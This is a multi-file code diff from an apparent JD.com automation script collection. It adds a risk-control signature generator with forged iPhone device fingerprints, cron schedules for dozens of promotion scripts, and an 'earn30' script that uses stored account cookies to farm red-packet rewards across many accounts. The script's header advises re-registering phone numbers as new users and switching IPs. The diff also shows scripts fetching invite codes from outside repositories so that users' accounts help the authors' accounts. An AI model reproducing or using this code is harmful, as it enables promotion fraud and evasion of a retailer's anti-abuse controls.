+function binl2rstr(input) {
+    var i
+    var output = ''
+    var length32 = input.length * 32
+    for (i = 0; i < length32; i += 8) {
+        output += String.fromCharCode((input[i >> 5] >>> (i % 32)) & 0xff)
+    }
+    return output
+}
+
+
+/*
+ * Convert a raw string to an array of little-endian words
+ * Characters >255 have their high-byte silently ignored.
+ */
+function rstr2binl(input) {
+    var i
+    var output = []
+    output[(input.length >> 2) - 1] = undefined
+    for (i = 0; i < output.length; i += 1) {
+        output[i] = 0
+    }
+    var length8 = input.length * 8
+    for (i = 0; i < length8; i += 8) {
+        output[i >> 5] |= (input.charCodeAt(i / 8) & 0xff) << (i % 32)
+    }
+    return output
+}
+

 function encrypt_3(e) {
    return function (e) {
@@ -535,119 +747,147 @@ let utils = {
        };
        return r;
    },
-    gettoken: function () {
-        const https = require('https');
-        var body = `content={"appname":"50082","whwswswws":"","jdkey":"","body":{"platform":"1"}}`;
-        return new Promise((resolve, reject) => {
-            let options = {
-                hostname: "bh.m.jd.com",
-                port: 443,
-                path: "/gettoken",
-                method: "POST",
-                rejectUnauthorized: false,
-                headers: {
-                    "Content-Type": "text/plain;charset=UTF-8",
-                    "Host": "bh.m.jd.com",
-                    "Origin": "https://h5.m.jd.com",
-                    "X-Requested-With": "com.jingdong.app.mall",
-                    "Referer": "https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html",
-                    "User-Agent": `jdapp;android;10.0.2;9;8363237353630343334383837333-73D2164353034363465693662666;network/wifi;model/MI 8;addressid/138087843;aid/0a4fc8ec9548a7f9;oaid/3ac46dd4d42fa41c;osVer/28;appBuild/88569;partner/jingdong;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 9; MI 8 Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045715 Mobile Safari/537.36`,
+    get_blog: function (pin) {
+        let encrypefun = {
+            "z": function (p1, p2) {
+                var str = "";
+                for (var vi = 0; vi < p1.length; vi++) {
+                    str += (p1.charCodeAt(vi) ^ p2.charCodeAt(vi % p2.length)).toString("16");
                }
+                return str;
+            },
+            "y": function (p1, p2) {
+                var str = "";
+                for (var vi = 0; vi < p1.length; vi++) {
+                    str += (p1.charCodeAt(vi) & p2.charCodeAt(vi % p2.length)).toString("16");
+                }
+                return str;
+            },
+            "x": function (p1, p2) {
+                p1 = p1.substring(1) + p1.substring(0, 1);
+                p2 = p2.substring((p2.length - 1)) + p2.substring(0, (p2.length - 1));
+                var str = "";
+                for (var vi = 0; vi < p1.length; vi++) {
+                    str += (p1.charCodeAt(vi) ^ p2.charCodeAt(vi % p2.length)).toString("16");
+                }
+                return str;
+            },
+            "jiami": function (po, p1) {
+                var str = "";
+                for (vi = 0; vi < po.length; vi++) {
+                    str += String.fromCharCode(po.charCodeAt(vi) ^ p1.charCodeAt(vi % p1.length));
+                }
+                return new Buffer.from(str).toString('base64');
            }
-            const req = https.request(options, (res) => {
-                res.setEncoding('utf-8');
-                let rawData = '';
-                res.on('error', reject);
-                res.on('data', chunk => rawData += chunk);
-                res.on('end', () => resolve(rawData));
-            });
-            req.write(body);
-            req.on('error', reject);
-            req.end();
-        });
+        }
+        const ids = ["x", "y", "z"];
+        var encrypeid = ids[Math.floor(Math.random() * 1e8) % ids.length];
+        var timestamp = this.getCurrentTime();
+        var nonce_str = this.getRandomWord(10);
+        var isDefaultKey = "B";
+        // timestamp = 1627139784174;
+        refer = "com.miui.home";
+        encrypeid = "x";
+        //nonce_str = "jNN40H0elF";
+        var json = {
+            r: refer,
+            a: "",
+            c: "a",
+            v: "2.5.8",
+            t: timestamp.toString().substring(timestamp.toString().length - 4)
+        }
+        var token = md5(pin);
+        var key = encrypefun[encrypeid](timestamp.toString(), nonce_str);
+        //console.log(key);
+        var cipher = encrypefun["jiami"](JSON.stringify(json), key);
+        //sOf+"~1"+sa1+sb+"~"+sb1+"~~~"+str+"~"+sa+"~"+sa2;
+        //"1627139784174~1jNN40H0elF14e91ebb633928c23d5afbaa8f947952~x~~~B~TBJHGg0bVAlaF1oPTVwfXQtaVBdJFQcVChcaGxtURA0bVkQUF0cXXhUDG1AZXhUcF0wVAxVSBg4DREU=~0v3u0bq",
+        return `${timestamp}~1${nonce_str+token}~${encrypeid}~~~${isDefaultKey}~${cipher}~${this.getCrcCode(cipher)}`;
    },
-    get_risk_result: async function ($) {
+    getBody: async function ($ = {}) {
+        var pin = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
        var appid = "50082";
        var TouchSession = this.getTouchSession();
-        if (!joyytoken || joyytoken_count > 18) {
-            joyytoken = JSON.parse(await this.gettoken())["joyytoken"];
-            //console.log("第一次请求joyytoken");
-            joyytoken_count = 0;
-        }
-        joyytoken_count++;
        let riskData;
        switch ($.action) {
-            case 'startTask':
-                riskData = {
-                    taskId: $.id
-                };
-                break;
-            case 'chargeScores':
-                riskData = {
-                    bubleId: $.id
-                };
-                break;
-            case 'sign':
-                riskData = {};
-            default:
-                break;
+          case 'startTask':
+            riskData = { taskId: $.id };
+            break;
+          case 'chargeScores':
+            riskData = { bubleId: $.id };
+            break;
+          case 'sign':
+            riskData = {};
+            break;
+          case 'exchangeGift':
+            riskData = { scoreNums: $.id, giftConfigId: $.giftConfigId || 198 };
+            break;
+          default:
+            break;
        }

        var random = Math.floor(1e+6 * Math.random()).toString().padEnd(6, '8');
        var senddata = this.objToString2(this.RecursiveSorting({
-            pin: $.UserName,
+            pin,
            random,
            ...riskData
        }));
        var time = this.getCurrentTime();
        // time = 1626970587918;
-        var encrypt_id = this.decipherJoyToken(appid + joyytoken, appid)["encrypt_id"].split(",");
+        var encrypt_id = this.decipherJoyToken(appid + $.joyToken, appid)["encrypt_id"].split(",");
        var nonce_str = this.getRandomWord(10);
        // nonce_str="iY8uFBbYX7";
-        var key = this.getKey(encrypt_id[2], nonce_str, time);
+        var key = this.getKey(encrypt_id[2], nonce_str, time.toString());

-        var str1 = `${senddata}&token=${joyytoken}&time=${time}&nonce_str=${nonce_str}&key=${key}&is_trust=1`;
+        var str1 = `${senddata}&token=${$.joyToken}&time=${time}&nonce_str=${nonce_str}&key=${key}&is_trust=1`;
        //console.log(str1);
        str1 = this.sha1(str1);
-        var outstr = [time, "1" + nonce_str + joyytoken, encrypt_id[2] + "," + encrypt_id[3]];
+        var outstr = [time, "1" + nonce_str + $.joyToken, encrypt_id[2] + "," + encrypt_id[3]];
        outstr.push(str1);
        outstr.push(this.getCrcCode(str1));
        outstr.push("C");
        var data = {
-            aj: "u",
-            bd: senddata,
-            blog: "a",
-            cf_v: "01",
-            ci: "w3.1.0",
-            cs: "2d148afa43e1a58dd9ab2993bb93343f",
-            fpb: "",
-            grn: 1,
-            ioa: "fffffftt",
-            jj: 1,
-            jk: "-a45046de9fbf-0a4fc8ec9548a7f9",
-            mj: [1, 0, 0],
-            msg: "",
-            nav: "88569",
-            np: "Linux aarch64",
-            nv: "Google Inc.",
-            pdn: [],
-            ro: ["f", "f", "f", "f", "f", "f", "f"],
-            scr: [818, 393],
-            ss: TouchSession,
-            t: time,
            tm: [],
            tnm: [],
-            wea: "ffttttua",
-            wed: "ttttt",
-        };
-        //console.log(data);
+            grn: 1,
+            ss: TouchSession,
+            wed: 'ttttt',
+            wea: 'ffttttua',
+            pdn: [7, (Math.floor(Math.random() * 1e8) % 180) + 1, 6, 11, 1, 5],
+            jj: 1,
+            cs: hexMD5("Object.P.<computed>=&HTMLDocument.Ut.<computed>=https://storage.360buyimg.com/babel/00750963/1942873/production/dev/main.e5d1c436.js"),
+            np: 'iPhone',
+            t: time,
+            jk: $.uuid,
+            fpb: '',
+            nv: 'Apple Computer, Inc.',
+            nav: '167741',
+            scr: [736, 414],
+            ro: [
+              'iPhone10,2',
+              'iOS',
+              '14.4.2',
+              '10.0.8',
+              '167741',
+              $.uuid,
+              'a'
+            ],
+            ioa: 'fffffftt',
+            aj: 'u',
+            ci: 'w3.1.0',
+            cf_v: '01',
+            bd: senddata,
+            mj: [1, 0, 0],
+            blog: 'a',
+            msg: ''
+        }
+        // console.log(data);
        //console.log(JSON.stringify(data));
        data = new Buffer.from(this.xorEncrypt(JSON.stringify(data), key)).toString('base64');
        //console.log(data);
        outstr.push(data);
        outstr.push(this.getCrcCode(data));
        //console.log(outstr.join("~"));
-        $.joyytoken = `joyytoken=${appid + joyytoken};`;
        return {
            extraData: {
                log: outstr.join("~"),
@@ -659,5 +899,5 @@ let utils = {
    }
 };
 module.exports = {
-    utils
+  utils
 }
@@ -4,6 +4,19 @@
 #30 * * * * sh +x /scripts/docker/auto_help.sh collect >> /scripts/logs/auto_help_collect.log 2>&1

 ##############短期活动##############
+#柠檬赚金币
+0 7 * * * node /scripts/jd_zjb.js >> /scripts/logs/jd_zjb.log 2>&1
+#整点京豆雨
+1 0-23/1 * * * node /scripts/jd_super_redrain.js >> /scripts/logs/jd_super_redrain.log 2>&1
+#领京豆
+21 9 * * * node /scripts/jd_ljd.js >> /scripts/logs/jd_ljd.log 2>&1
+#京喜领88元红包
+4 10 * * * node /scripts/jd_jxlhb.js >> /scripts/logs/jd_jxlhb.log 2>&1
+20 0-23/3 * * * node /scripts/jd_joypark_joy.js >> /scripts/logs/jd_joypark_joy.log 2>&1
+#发财大赢家
+1 6-22/3 * * * node /scripts/jd_fcdyj.js >> /scripts/logs/jd_fcdyj.log 2>&1
+#赚30
+3 1,6 * * * node /scripts/jd_earn30.js >> /scripts/logs/jd_earn30.log 2>&1
 #首页-领京豆-升级赚京豆
 21 9 * * * node /scripts/jd_mmdou.js >> /scripts/logs/jd_mmdou.log 2>&1
 ##伊利
@@ -27,6 +40,8 @@
 #欧洲狂欢杯
 0,30 10 * * * node /scripts/jd_khb.js >> /scripts/logs/jd_khb.log 2>&1
 #超级直播间红包雨(活动时间不定期，出现异常提示请忽略。红包雨期间会正常)
+30 16-23/1 * * * node /scripts/jd_half_redrain.js >> /scripts/logs/jd_half_redrain.log 2>&1
+#超级直播间红包雨(活动时间不定期，出现异常提示请忽略。红包雨期间会正常)
 1,31 0-23/1 * * * node /scripts/jd_live_redrain.js >> /scripts/logs/jd_live_redrain.log 2>&1
 #星系牧场
 1 0-23/2 * * * node /scripts/jd_qqxing.js >> /scripts/logs/jd_qqxing.log 2>&1
@@ -69,6 +84,8 @@
 10 13-20/1 * * * node /scripts/jd_joy_run.js >> /scripts/logs/jd_joy_run.log 2>&1
 # 摇钱树
 23 */2 * * * node /scripts/jd_moneyTree.js >> /scripts/logs/jd_moneyTree.log 2>&1
+# 摇钱树
+23 */4 * * * node /scripts/jd_moneyTree_help.js >> /scripts/logs/jd_moneyTree_help.log 2>&1
 # 东东萌宠
 35 6-18/6 * * * node /scripts/jd_pet.js >> /scripts/logs/jd_pet.log 2>&1
 # 京东种豆得豆
@@ -32,8 +32,8 @@ ADD_CART = $.isNode() ? (process.env.PURCHASE_SHOPS ? process.env.PURCHASE_SHOPS
 // 加入购物车开关，与东东小窝共享

 let inviteCodes = [
-  //'4dd98623868f4292b5432822389fe3e9@daf75e50044144c68b2aff47de57fe49@e341962809ae42c5b8d2d61995bbb5a4@77f08ad1aea04b73acd4542f7fd1dac6@fe5536751f89403d87bad635a87bd956',
-  //'4dd98623868f4292b5432822389fe3e9@daf75e50044144c68b2aff47de57fe49@e341962809ae42c5b8d2d61995bbb5a4@77f08ad1aea04b73acd4542f7fd1dac6@fe5536751f89403d87bad635a87bd956'
+  '4dd98623868f4292b5432822389fe3e9@daf75e50044144c68b2aff47de57fe49@e341962809ae42c5b8d2d61995bbb5a4@77f08ad1aea04b73acd4542f7fd1dac6@fe5536751f89403d87bad635a87bd956@7cac62f390074868949f72c18cc8469c',
+  '4dd98623868f4292b5432822389fe3e9@daf75e50044144c68b2aff47de57fe49@e341962809ae42c5b8d2d61995bbb5a4@77f08ad1aea04b73acd4542f7fd1dac6@fe5536751f89403d87bad635a87bd956@7cac62f390074868949f72c18cc8469c'
 ]

 if ($.isNode()) {
@@ -2,23 +2,23 @@
 签到领现金，每日2毛～5毛
 可互助，助力码每日不变，只变日期
 活动入口：京东APP搜索领现金进入
-更新时间：2021-04-28
+更新时间：2021-06-07
 已支持IOS双京东账号,Node.js支持N个京东账号
 脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
 ============Quantumultx===============
 [task_local]
 #签到领现金
-2 0-23/4 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_cash.js, tag=签到领现金, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+2 0-23/4 * * * jd_cash.js, tag=签到领现金, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true

 ================Loon==============
 [Script]
-cron "2 0-23/4 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_cash.js,tag=签到领现金
+cron "2 0-23/4 * * *" script-path=jd_cash.js,tag=签到领现金

 ===============Surge=================
-签到领现金 = type=cron,cronexp="2 0-23/4 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_cash.js
+签到领现金 = type=cron,cronexp="2 0-23/4 * * *",wake-system=1,timeout=3600,script-path=jd_cash.js

 ============小火箭=========
-签到领现金 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_cash.js, cronexpr="2 0-23/4 * * *", timeout=3600, enable=true
+签到领现金 = type=cron,script-path=jd_cash.js, cronexpr="2 0-23/4 * * *", timeout=3600, enable=true
 */
 const $ = new Env('签到领现金');
 const notify = $.isNode() ? require('./sendNotify') : '';
@@ -28,9 +28,8 @@ let jdNotify = true;//是否关闭通知，false打开通知推送，true关闭
 //IOS等用户直接用NobyDa的jd cookie
 let cookiesArr = [], cookie = '', message;
 let helpAuthor = true;
-const randomCount = $.isNode() ? 5 : 5;
+const randomCount = $.isNode() ? 5 : 0;
 let cash_exchange = false;//是否消耗2元红包兑换200京豆，默认否
-let cash_exchange2 = false;//是否消耗2元红包兑换200京豆，默认否
 const inviteCodes = [
  `eU9Yau6yNPkm9zrVzHsb3w@eU9YLarDP6Z1rRq8njtZ@eU9YN6nLObVHriuNuA9O`
 ]
@@ -50,8 +49,12 @@ let allMessage = '';
    return;
  }
  await requireConfig()
-  //await getAuthorShareCode();
-  //await getAuthorShareCode2();
+  $.authorCode = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_updateCash.json')
+  if (!$.authorCode) {
+    $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateCash.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e));
+    await $.wait(1000)
+    $.authorCode = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateCash.json') || []
+  }
  for (let i = 0; i < cookiesArr.length; i++) {
    if (cookiesArr[i]) {
      cookie = cookiesArr[i];
@@ -85,6 +88,7 @@ let allMessage = '';
      $.done();
    })
 async function jdCash() {
+  $.signMoney = 0;
  await index()
  await shareCodesFormat()
  await helpFriends()
@@ -92,27 +96,27 @@ async function jdCash() {
  await getReward('2');
  $.exchangeBeanNum = 0;
  cash_exchange = $.isNode() ? (process.env.CASH_EXCHANGE ? process.env.CASH_EXCHANGE : `${cash_exchange}`) : ($.getdata('cash_exchange') ? $.getdata('cash_exchange') : `${cash_exchange}`);
-  cash_exchange2 = $.isNode() ? (process.env.CASH_EXCHANGE2 ? process.env.CASH_EXCHANGE2 : `${cash_exchange2}`) : ($.getdata('cash_exchange2') ? $.getdata('cash_exchange2') : `${cash_exchange2}`);
  if (cash_exchange === 'true') {
-    console.log(`\n\n开始花费2元红包兑换200京豆，一周可换四次`)
-    for (let item of ["-1", "0", "1", "2", "3"]) {
-      $.canLoop = true;
-      if ($.canLoop) {
-        for (let i = 0; i < 5; i++) {
-          await exchange2(item);//兑换200京豆(2元红包换200京豆，一周5次。)
-        }
-        if (!$.canLoop) {
-          console.log(`已找到符合的兑换条件，跳出\n`);
-          break
+    if(Number($.signMoney) >= 2){
+      console.log(`\n\n开始花费2元红包兑换200京豆，一周可换五次`)
+      for (let item of ["-1", "0", "1", "2", "3"]) {
+        $.canLoop = true;
+        if ($.canLoop) {
+          for (let i = 0; i < 5; i++) {
+            await exchange2(item);//兑换200京豆(2元红包换200京豆，一周5次。)
+          }
+          if (!$.canLoop) {
+            console.log(`已找到符合的兑换条件，跳出\n`);
+            break
+          }
        }
      }
+      if ($.exchangeBeanNum) {
+        message += `兑换京豆成功，获得${$.exchangeBeanNum * 100}京豆\n`;
+      }
+    }else{
+      console.log(`\n\n现金不够2元，不进行兑换200京豆，`)
    }
-    if ($.exchangeBeanNum) {
-      message += `兑换京豆成功，获得${$.exchangeBeanNum * 100}京豆\n`;
-    }
-  }
-  if (cash_exchange2 === 'true') {
-    await exchange1();
  }
  await index(true)
  // await showMsg()
@@ -136,6 +140,7 @@ function index(info=false) {
                console.log(`\n\n当前现金：${data.data.result.signMoney}元`);
                return
              }
+              $.signMoney = data.data.result.signMoney;
              // console.log(`您的助力码为${data.data.result.inviteCode}`)
              console.log(`\n【京东账号${$.index}（${$.UserName}）的${$.name}好友互助码】${data.data.result.inviteCode}\n`);
              let helpInfo = {
@@ -278,55 +283,6 @@ function getReward(source = 1) {
    })
  })
 }
-function exchange1() {
-  let body = '';
-  const data = {"clientVersion":"10.0.1"}
-  body = `clientVersion=10.0.1&build=88405&client=android&d_brand=HUAWEI&d_model=NOP-AN00&osVersion=9&screen=1920*1080&partner=xiaomi001&oaid=a519e7caefd6d12&eid=eidAed6d812253sc/UqDm2BNShybii+AtqAeEv1KhRKS/zL1VYb/sYfOobiBsOmxTVjj/zB2Z7Jk3T1YT8WRh6dwhwdIdEPnBJDBZ4Ut8mAHlOUYrLtW&sdkVersion=28&lang=zh_CN&uuid=a1c106409606e6c4&aid=a1c106409606e6c4&area=27_2376_50236_56688&networkType=4g&wifiBssid=unknown&uts=0f31TVRjBSvNio4N%2BCtmlAvkXL6JZzoo26PTJkn0J96Z%2Bir%2F67v%2FPBBqJt2rV3Kg5sFh8y5qVUGyYzzCYZspU68T9xX7xBzx%2BX9n4ArYPsiFQW5NShmt%2FFyeY9GpU65ocpvIH5b2bHlUngELLpbMuyyitkXirg8v074MdWdGlSV0NyWOOY%2BBvZq0ys3p8n81rtwPzgz5Ajgn08UH4y3Jnw%3D%3D&uemps=0-0&st=1624027590903&sign=909f011e78f56b7595f4faae79f98669&sv=122`;
-  return new Promise((resolve) => {
-    const options = {
-      url: `${JD_API_HOST}?functionId=cash_getRedPacket&${body}`,
-      body: `body=%7B%22amount%22%3A1000%2C%22type%22%3A2%7D&`,
-      headers: {
-        'Cookie': cookie,
-        'Host': 'api.m.jd.com',
-        'Connection': 'keep-alive',
-        'Content-Type': 'application/x-www-form-urlencoded',
-        'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.2.2;14.2;%E4%BA%AC%E4%B8%9C/9.2.2 CFNetwork/1206 Darwin/20.1.0"),
-        'Accept-Language': 'zh-cn',
-        'Accept-Encoding': 'gzip, deflate, br',
-      }
-    }
-    $.post(options, async (err, resp, data) => {
-      try {
-        if (err) {
-          console.log(`${JSON.stringify(err)}`)
-          console.log(`${$.name} API请求失败，请检查网路重试`)
-        } else {
-          if (safeGet(data)) {
-            data = JSON.parse(data);
-            if (data['code'] === 0) {
-              if (data.data.bizCode === 0) {
-                console.log(`花费${data.data.result.needMoney}元红包兑换成功！获得${data.data.result.beanName}\n`)
-                $.exchangeBeanNum += parseInt(data.data.result.needMoney);
-                $.canLoop = false;
-              } else {
-                console.log('兑换10元红包：' + data.data.bizMsg)
-                if (data.data.bizCode === 504) $.canLoop = true;
-                if (data.data.bizCode === 120) $.canLoop = false;
-              }
-            } else {
-              console.log(`兑换10元红包：${JSON.stringify(data)}\n`);
-            }
-          }
-        }
-      } catch (e) {
-        $.logErr(e, resp)
-      } finally {
-        resolve(data);
-      }
-    })
-  })
-}
 function exchange2(node) {
  let body = '';
  const data = {node,"configVersion":"1.0"}
@@ -434,12 +390,10 @@ function shareCodesFormat() {
      let authorCode = deepCopy($.authorCode)
      $.newShareCodes = [...(authorCode.map((item, index) => authorCode[index] = item['inviteCode'])), ...$.newShareCodes];
    }
-    /*
    const readShareCodeRes = await readShareCode();
    if (readShareCodeRes && readShareCodeRes.code === 200) {
      $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])];
    }
-    */
    $.newShareCodes.map((item, index) => $.newShareCodes[index] = { "inviteCode": item, "shareDate": $.shareDate })
    console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`)
    resolve();
@@ -469,7 +423,7 @@ function requireConfig() {
      })
    } else {
      if ($.getdata('jd_cash_invite')) $.shareCodesArr = $.getdata('jd_cash_invite').split('\n').filter(item => !!item);
-      console.log(`\nBoxJs设置的京喜财富岛邀请码:${$.getdata('jd_cash_invite')}\n`);
+      console.log(`\nBoxJs设置的京东签到领现金邀请码:${$.getdata('jd_cash_invite')}\n`);
    }
    console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`);
    resolve()
@@ -508,43 +462,35 @@ function taskUrl(functionId, body = {}) {
  }
 }

-function getAuthorShareCode(url = "https://a.nz.lu/jd_cash.json") {
+function getAuthorShareCode(url) {
  return new Promise(resolve => {
-    $.get({url, headers:{
+    const options = {
+      url: `${url}?${new Date()}`, "timeout": 10000, headers: {
        "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88"
-      }, timeout: 200000,}, async (err, resp, data) => {
-      $.authorCode = [];
-      try {
-        if (err) {
-        } else {
-          $.authorCode = JSON.parse(data)
-        }
-      } catch (e) {
-        $.logErr(e, resp)
-      } finally {
-        resolve();
      }
-    })
-  })
-}
-function getAuthorShareCode2(url = "https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_updateCash.json") {
-  return new Promise(resolve => {
-    $.get({url, headers:{
-        "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88"
-      }, timeout: 200000,}, async (err, resp, data) => {
-      $.authorCode2 = [];
+    };
+    if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) {
+      const tunnel = require("tunnel");
+      const agent = {
+        https: tunnel.httpsOverHttp({
+          proxy: {
+            host: process.env.TG_PROXY_HOST,
+            port: process.env.TG_PROXY_PORT * 1
+          }
+        })
+      }
+      Object.assign(options, { agent })
+    }
+    $.get(options, async (err, resp, data) => {
      try {
        if (err) {
        } else {
-          $.authorCode2 = JSON.parse(data)
-          if ($.authorCode2 && $.authorCode2.length) {
-            $.authorCode.push(...$.authorCode2);
-          }
+          if (data) data = JSON.parse(data)
        }
      } catch (e) {
-        $.logErr(e, resp)
+        // $.logErr(e, resp)
      } finally {
-        resolve();
+        resolve(data);
      }
    })
  })
@@ -0,0 +1,535 @@
+/*
+赚30元
+更新时间：2021-7-19
+入口：我的-赚30
+备注：赚30元每日签到红包、天降红包助力，在earn30Pins环境变量中填入需要签到和接受助力的账号。
+技巧：每月可以提现100元，但需要邀请一个新人下首单。可以用已注册手机号重新注册为新人账号，切换ip可以提高成功率。
+助力逻辑：优先账号内互助，再帮zero205助力
+TG学习交流群：https://t.me/cdles
+3 1,6 * * * https://raw.githubusercontent.com/cdle/jd_study/main/jd_earn30.js
+*/
+const $ = new Env("赚30元")
+const JD_API_HOST = 'https://api.m.jd.com/client.action';
+const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random() * 4 + 10)}.${Math.ceil(Math.random() * 4)};${randomString(40)}`
+var pins = process.env.earn30Pins ? process.env.earn30Pins : '';
+let cookiesArr = [];
+var helps = [];
+var tools = [];
+!(async () => {
+     if (!pins) {
+          console.log("未填写环境变量earn30Pins，默认所有账号")
+     }
+     await requireConfig()
+     for (let i in cookiesArr) {
+          i = +i
+          cookie = cookiesArr[i]
+          if (!pins || pins.indexOf(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) != -1) {
+               var data = await requestApi('createSplitRedPacket', cookie, {
+                    scene: 3
+               });
+               if (data) {
+                    if (data.code === 0 && data.SplitRedPacketInfo) {
+                         helps.push({
+                              redPacketId: data.SplitRedPacketInfo.redPacketId,
+                              shareCode: data.SplitRedPacketInfo.shareCode,
+                              id: i,
+                              cookie: cookie
+                         })
+                    } else if (data.code === 1) {
+                         data = await requestApi('getSplitRedPacket', cookie);
+                         if (data && data.code === '0' && data.SplitRedPacketInfo) {//&& data.SplitRedPacketInfo.finishedMoney != data.SplitRedPacketInfo.totalMoney
+                              helps.push({
+                                   redPacketId: data.SplitRedPacketInfo.redPacketId,
+                                   shareCode: data.SplitRedPacketInfo.shareCode,
+                                   id: i,
+                                   cookie: cookie
+                              })
+                         }
+                    }
+               }
+               data = await requestApi('fpSign', cookie);
+               if (data) {
+                    if (data.code === 1) {
+                         console.log(`${i + 1} 已经签到过了`)
+                    } else if (data.code === '0') {
+                         console.log(`${i + 1} 签到获得${data.money}`)
+                    } else {
+                         console.log(`${i + 1} 签到失败`)
+                    }
+               }
+          }
+          tools.push({
+               id: i,
+               cookie: cookie,
+               helps: [],
+          })
+     }
+     let tools_temp;
+     if ($.isNode()){
+          const v8 = require('v8');
+          const structuredClone = obj => {
+            return v8.deserialize(v8.serialize(obj));
+          };
+          tools_temp = structuredClone(tools);
+     }
+     for (let help of helps) {
+          while (tools.length) {
+               var tool = tools.pop()
+               var data = await requestApi('splitRedPacket', tool.cookie, { shareCode: help.shareCode, groupCode: help.redPacketId });
+               if (data) {
+                    if (tool.id == help.id) {
+                         continue
+                    }
+                    console.log(`${tool.id + 1}->${help.id + 1} ${data.text}`)
+                    if (tool.helps.indexOf(help.id) != -1) {
+                         break
+                    }
+                    if (data.text == "我的红包已拆完啦") {
+                         tools.unshift(tool)
+                         break
+                    }
+                    if (data.text.indexOf("帮拆出错") != -1) {
+                         continue
+                    }
+                    if (data.text.indexOf("帮拆次数已达上限") != -1) {
+                         continue
+                    }
+                    tool.helps.push(help.id)
+                    tools.unshift(tool)
+               }
+          }
+     }
+     if ($.isNode()){
+          console.log(`内部互助已完成，开始帮【zero205】助力，感谢！`)
+          tools = tools_temp;
+          await getCode()
+          for (let help of $.zero205) {
+               while (tools.length) {
+                    var tool = tools.pop()
+                    var data = await requestApi('splitRedPacket', tool.cookie, { shareCode: help.shareCode, groupCode: help.redPacketId });
+                    if (data) {
+                         if (tool.id == help.id) {
+                              continue
+                         }
+                         console.log(`${tool.id + 1}->${help.id + 1} ${data.text}`)
+                         if (tool.helps.indexOf(help.id) != -1) {
+                              break
+                         }
+                         if (data.text == "我的红包已拆完啦") {
+                              tools.unshift(tool)
+                              break
+                         }
+                         if (data.text.indexOf("帮拆出错") != -1) {
+                              continue
+                         }
+                         if (data.text.indexOf("帮拆次数已达上限") != -1) {
+                              continue
+                         }
+                         tool.helps.push(help.id)
+                         tools.unshift(tool)
+                    }
+               }
+          }
+     }
+})().catch((e) => {
+     $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+})
+     .finally(() => {
+          $.done();
+     })
+
+function requestApi(functionId, cookie, body = {}) {
+     return new Promise(resolve => {
+          $.post({
+               url: `${JD_API_HOST}?functionIdTest=${functionId}`,
+               headers: {
+                    "Cookie": cookie,
+                    "Host": "api.m.jd.com",
+                    'Content-Type': 'application/x-www-form-urlencoded',
+                    "User-Agent": ua,
+               },
+               body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`,
+          }, (_, resp, data) => {
+               try {
+                    data = JSON.parse(data)
+               } catch (e) {
+                    $.logErr('Error: ', e, resp)
+               } finally {
+                    resolve(data)
+               }
+          })
+     })
+}
+
+function requireConfig() {
+     return new Promise(resolve => {
+          notify = $.isNode() ? require('./sendNotify') : '';
+          const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+          if ($.isNode()) {
+               Object.keys(jdCookieNode).forEach((item) => {
+                    if (jdCookieNode[item]) {
+                         cookiesArr.push(jdCookieNode[item])
+                    }
+               })
+               if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { };
+          } else {
+               cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+          }
+          console.log(`共${cookiesArr.length}个京东账号\n`)
+          resolve()
+     })
+}
+
+function randomString(e) {
+     e = e || 32;
+     let t = "abcdefhijkmnprstwxyz2345678",
+          a = t.length,
+          n = "";
+     for (i = 0; i < e; i++)
+          n += t.charAt(Math.floor(Math.random() * a));
+     return n
+}
+
